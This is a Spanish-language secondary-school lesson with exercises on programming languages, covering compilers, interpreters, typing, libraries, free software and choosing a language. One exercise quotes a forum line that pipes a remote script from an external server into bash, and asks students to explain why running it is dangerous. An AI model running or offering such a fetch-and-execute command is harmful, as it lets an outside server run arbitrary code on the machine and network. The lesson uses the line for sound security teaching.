Lenguajes de programación
Tu liceo quiere una app para que los estudiantes consulten los horarios del ómnibus que sale hacia Tres Cruces. Valentina propone hacerla en Python, Mateo en JavaScript y el profe en Java. ¿Por qué existen tantos lenguajes y cómo se decide cuál usar? Para responder, primero hay que ver qué hace un lenguaje con lo que escribís.
Del código fuente al programa ejecutable
Lo que escribe la persona programadora se llama código fuente. Si venís de programar con bloques (Scratch, MakeCode), es lo mismo pero escrito en texto. Pero el procesador solo entiende el lenguaje máquina (ceros y unos), así que hace falta una traducción.
Explicá con tus palabras qué es un programa y qué es un algoritmo, y poné un ejemplo de «algoritmo» de la vida diaria (una receta, las instrucciones para llegar a tu…
Explicá con tus palabras qué es un programa y qué es un algoritmo, y poné un ejemplo de «algoritmo» de la vida diaria (una receta, las instrucciones para llegar a tu casa...) identificando sus pasos.
Un lenguaje natural (como el castellano) admite frases ambiguas, pero un lenguaje de programación no. Explicá qué significa esto y por qué es imprescindible que las…
Un lenguaje natural (como el castellano) admite frases ambiguas, pero un lenguaje de programación no. Explicá qué significa esto y por qué es imprescindible que las instrucciones de un programa tengan una única interpretación posible.
La figura muestra la cadena que convierte lo que escribe una persona programadora en algo que la computadora puede ejecutar, pero el elemento central está tapado con un…
La figura muestra la cadena que convierte lo que escribe una persona programadora en algo que la computadora puede ejecutar, pero el elemento central está tapado con un signo de interrogación, como se muestra en la figura.
Indicá qué elemento falta en la cadena, explicá qué dos tipos de herramientas pueden ocupar ese lugar (compilador e intérprete) y describí en qué se diferencia cada una.
Explicá qué es la sintaxis de un lenguaje de programación y por qué un simple paréntesis de menos impide ejecutar el programa, mientras que en un texto en castellano una…
Explicá qué es la sintaxis de un lenguaje de programación y por qué un simple paréntesis de menos impide ejecutar el programa, mientras que en un texto en castellano una falta de ortografía no impide entenderlo.
Compilados e interpretados
Ese código intermedio da portabilidad: se compila una vez y corre en cualquier sistema que tenga la máquina virtual. La máquina virtual es la que entiende ese código intermedio en cada sistema.
Explicá la diferencia entre un lenguaje compilado y uno interpretado: qué ocurre con el código fuente en cada caso, cuándo se detectan los errores y qué necesita el…
Explicá la diferencia entre un lenguaje compilado y uno interpretado: qué ocurre con el código fuente en cada caso, cuándo se detectan los errores y qué necesita el usuario final para ejecutar el programa. Poné un ejemplo de lenguaje de cada tipo.
Con un lenguaje compilado se genera un ejecutable; con uno interpretado hace falta tener instalado el intérprete. Analizá qué diferencia hay para el usuario final de…
Con un lenguaje compilado se genera un ejecutable; con uno interpretado hace falta tener instalado el intérprete. Analizá qué diferencia hay para el usuario final de cada programa (qué debe instalar, en qué sistemas funcionará) y qué diferencia hay para la persona que desarrolla (ciclo de escribir-probar).
Un lenguaje de alto nivel interpretado suele ser más cómodo de escribir pero más lento en ejecución que uno compilado de bajo nivel. Analizá este compromiso y decidí qué…
Un lenguaje de alto nivel interpretado suele ser más cómodo de escribir pero más lento en ejecución que uno compilado de bajo nivel. Analizá este compromiso y decidí qué tipo de lenguaje elegirías para: (a) el control de un airbag, (b) un prototipo de app para probar una idea, (c) un videojuego con gráficos exigentes. Justificá cada decisión.
Tipado y paradigmas
Marcado frente a programación
HTML organiza el contenido de una página (títulos, párrafos, imágenes), pero no se considera un lenguaje de programación completo: es un lenguaje de marcado, que describe cómo se estructura la información. No puede expresar decisiones («si pasa esto, haz aquello») ni repeticiones. Por eso suele acompañarse de JavaScript, que aporta la lógica.
Los lenguajes se agrupan también por paradigmas (imperativo, orientado a objetos, funcional...). Explicá brevemente en qué consiste la programación orientada a objetos y…
Los lenguajes se agrupan también por paradigmas (imperativo, orientado a objetos, funcional...). Explicá brevemente en qué consiste la programación orientada a objetos y razoná por qué resulta útil cuando un programa modela cosas del mundo real (alumnos, cuentas, vehículos...).
En algunos lenguajes, sumar un número con un texto produce un error antes de ejecutar el programa; en otros, el error aparece solo si se ejecuta esa línea. Explicá qué…
En algunos lenguajes, sumar un número con un texto produce un error antes de ejecutar el programa; en otros, el error aparece solo si se ejecuta esa línea. Explicá qué es el tipado de un lenguaje (estático o dinámico) y qué ventaja tiene detectar esos errores cuanto antes.
HTML organiza el contenido de las páginas web, pero no se considera un lenguaje de programación completo. Explicá qué diferencia hay entre un lenguaje de marcado y uno…
HTML organiza el contenido de las páginas web, pero no se considera un lenguaje de programación completo. Explicá qué diferencia hay entre un lenguaje de marcado y uno de programación (¿se pueden expresar decisiones y repeticiones?) y qué lenguaje suele acompañar a HTML para aportar la lógica.
Herramientas, bibliotecas y código abierto
«No reinventar la rueda» es buena práctica: una biblioteca de gráficas o de conexión a bases de datos ya fue probada por muchas personas, ahorra tiempo y reduce errores.
Software libre y distribución libre
El software libre (o de distribución libre) es aquel cuyo código fuente es público: se puede estudiar, modificar y compartir, con licencias como la GPL o permisivas como MIT. A veces se lo llama también «código abierto» (open source), que pone el acento en las ventajas técnicas del desarrollo abierto. Python, JavaScript y Java (OpenJDK) son ejemplos con herramientas de distribución libre. Es una buena manera de aprender: leer y adaptar código de otros.
Una plataforma propietaria puede subir de precio (si la licencia cuesta 450 pesos por año y el proveedor la triplica, pasa a 1.350 pesos), cambiar condiciones o desaparecer, y quien la usa queda atado a un solo fabricante. Con herramientas abiertas siempre queda la opción de seguir usándolas, adaptarlas o migrar con ayuda de la comunidad. Lo mismo vale para un liceo que elige un entorno para programar placas: uno cerrado y compatible solo con una marca obliga a cambiar todo si el proveedor retira el soporte; uno abierto y compatible con varias placas no.
¿Qué es un entorno de desarrollo (IDE)? Nombrá dos ayudas que le ofrece a quien programa (coloreado de sintaxis, detección de errores al escribir, ejecución integrada) y…
¿Qué es un entorno de desarrollo (IDE)? Nombrá dos ayudas que le ofrece a quien programa (coloreado de sintaxis, detección de errores al escribir, ejecución integrada) y explicá cada una en una frase.
Las bibliotecas (o librerías) son colecciones de código ya hecho que un programa puede usar. Explicá por qué «no reinventar la rueda» es una buena práctica, con un…
Las bibliotecas (o librerías) son colecciones de código ya hecho que un programa puede usar. Explicá por qué «no reinventar la rueda» es una buena práctica, con un ejemplo (librería de gráficos, de conexión a bases de datos), y un cuidado que hay que tener al usar bibliotecas de terceros.
Una empresa emergente (startup) diseña una aplicación para gestionar estaciones meteorológicas. El equipo duda entre dos opciones técnicas para su backend: Opción A,…
Una empresa emergente (startup) diseña una aplicación para gestionar estaciones meteorológicas. El equipo duda entre dos opciones técnicas para su backend: Opción A, utilizar una plataforma y lenguaje propietarios cuya licencia cuesta 450 pesos al año por desarrollador, con soporte técnico cerrado; u Opción B, utilizar un lenguaje y herramientas de código abierto con licencia libre y comunidad activa. Analizá la situación: a) Si el proveedor de la Opción A triplica el precio de la licencia o es absorbido por un competidor que discontinúa el producto, predecí qué opciones técnicas le quedarían a la empresa y qué impacto sufriría. b) Justificá dos ventajas técnicas y de seguridad que aporta la Opción B frente a la Opción A ante la detección de un fallo crítico en una librería. c) ¿En qué caso concreto podría estar justificado asumir la dependencia de la plataforma propietaria?
Para una práctica de control domótico, un estudiante necesita enviar alertas por correo ante una fuga de gas. En lugar de programarlo, copia de un foro de internet esta…
Para una práctica de control domótico, un estudiante necesita enviar alertas por correo ante una fuga de gas. En lugar de programarlo, copia de un foro de internet esta línea sin revisar su contenido: os.system('curl -s https://servidor-externo.xyz/alerta.sh | bash'). El alumno afirma: «El código funciona y la alerta llega, por lo que la solución es completamente válida y segura». a) Rebatí la afirmación del alumno analizando los riesgos graves de seguridad e inyección de código que introduce esa línea en el sistema y en la red local. b) Si el servidor externo deja de prestar servicio semanas más tarde, predecí qué dificultades tendrá el alumno para mantener el sistema si no comprendió la lógica original. c) Diseñá un protocolo de cuatro pasos que un programador responsable debe seguir antes de integrar código o librerías de terceros en un proyecto técnico.
Elegir el lenguaje adecuado
Scratch, MakeCode (el de la micro:bit de Ceibal) y otros lenguajes de bloques son ideales para empezar: no hay errores de sintaxis porque los bloques solo encajan si es válido. Pero los proyectos grandes se escriben en texto: es más rápido, permite versionar y compartir código, y admite bibliotecas y herramientas profesionales. Pasar de bloques a texto es un paso natural: lo que ya sabés (secuencias, condiciones, repeticiones) se escribe igual, con otra forma.
Un ejemplo de lenguajes y ámbitos: Python (análisis de datos, automatización), JavaScript (web), Java (apps para celular y sistemas empresariales), C y C++ (sistemas, videojuegos, placas).
Compará programar con bloques (como Scratch) y programar con texto: dá una ventaja de cada enfoque para aprender y un motivo por el que los proyectos grandes se terminan…
Compará programar con bloques (como Scratch) y programar con texto: dá una ventaja de cada enfoque para aprender y un motivo por el que los proyectos grandes se terminan escribiendo en texto.
Explicá qué es el código fuente de un programa, quién lo escribe y qué tiene que ocurrir con él antes de que la computadora pueda ejecutarlo (traducirlo a lenguaje…
Explicá qué es el código fuente de un programa, quién lo escribe y qué tiene que ocurrir con él antes de que la computadora pueda ejecutarlo (traducirlo a lenguaje máquina).
Nombrá tres lenguajes de programación diferentes y una aplicación o ámbito típico de cada uno (páginas web, análisis de datos, videojuegos, sistemas, apps...).
Nombrá tres lenguajes de programación diferentes y una aplicación o ámbito típico de cada uno (páginas web, análisis de datos, videojuegos, sistemas, apps...).
Tu clase tiene que elegir un lenguaje para desarrollar una pequeña aplicación de gestión del club de lectura. Nombrá y explicá tres características del lenguaje que…
Tu clase tiene que elegir un lenguaje para desarrollar una pequeña aplicación de gestión del club de lectura. Nombrá y explicá tres características del lenguaje que valorarías antes de decidir (facilidad de aprendizaje, bibliotecas disponibles, comunidad, rendimiento, plataforma de destino...) y justificá cuál priorizarías en este caso concreto.
Elegí y justificá un lenguaje para cada proyecto: (a) analizar las notas de todo el liceo y generar gráficos, (b) un videojuego 3D con grandes exigencias de rendimiento…
Elegí y justificá un lenguaje para cada proyecto: (a) analizar las notas de todo el liceo y generar gráficos, (b) un videojuego 3D con grandes exigencias de rendimiento y (c) una página web interactiva que se ejecuta en el navegador. Indicá qué criterio pesó más en cada elección.
Un liceo renueva el equipamiento de su aula de Tecnología y valora dos opciones para programar los microcontroladores de sus proyectos: el Entorno A, un software…
Un liceo renueva el equipamiento de su aula de Tecnología y valora dos opciones para programar los microcontroladores de sus proyectos: el Entorno A, un software comercial propietario con licencia gratuita durante dos años, pero de código cerrado y compatible solo con los sensores de su marca; y el Entorno B, una cadena de herramientas de código abierto (compilador libre y librerías abiertas) compatible con múltiples placas del mercado. a) Predecí qué consecuencias económicas y técnicas afrontará el liceo al tercer año si el proveedor del Entorno A cambia su política de precios o retira el soporte a los modelos más antiguos. b) Justificá qué posibilidades de aprendizaje y adaptación ofrece el Entorno B para que los estudiantes estudien cómo funciona el código por dentro o conecten sensores descatalogados. c) Desde el punto de vista del gasto público y la soberanía tecnológica, defendé cuál de las dos opciones debe elegirse.
Volvé al principio: para la app de horarios del ómnibus lo que pesa es que corra en el celular de cualquiera, así que una web con JavaScript es lo más razonable. Un lenguaje traduce tus instrucciones a lo que ejecuta el procesador, y existen cientos porque ninguno ofrece a la vez máxima velocidad, facilidad para aprender y compatibilidad con todo.